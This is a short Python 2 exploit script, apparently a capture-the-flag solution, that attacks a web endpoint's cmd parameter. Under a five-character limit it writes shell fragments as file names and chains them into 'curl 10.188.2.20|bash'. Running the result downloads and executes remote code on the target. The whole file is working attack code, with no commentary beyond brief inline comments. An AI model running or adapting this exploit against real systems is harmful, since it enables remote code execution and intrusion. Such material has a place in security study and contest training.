import requests
from time import sleep
from urllib import quote

payload = [
    # generate `ls -t>g` file
    '>ls\\', 
    'ls>_', 
    '>\ \\', 
    '>-t\\', 
    '>\>g', 
    'ls>>_', 

    # generate `curl orange.tw.tw|python`
    # generate `curl 10.188.2.20|bash` 
    '>sh\ ', 
    '>ba\\', 
    '>\|\\',
    '>20\\',
    '>2.\\', 
    '>8.\\',
    '>18\\', 
    '>0.\\', 
    '>1\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # exec
    'sh _', 
    'sh g', 
]



r = requests.get('http://10.188.2.20:22460/?reset=1')
for i in payload:
    assert len(i) <= 5 
    r = requests.get('http://10.188.2.20:22460/?cmd=' + quote(i) )
    print i
    sleep(0.2)
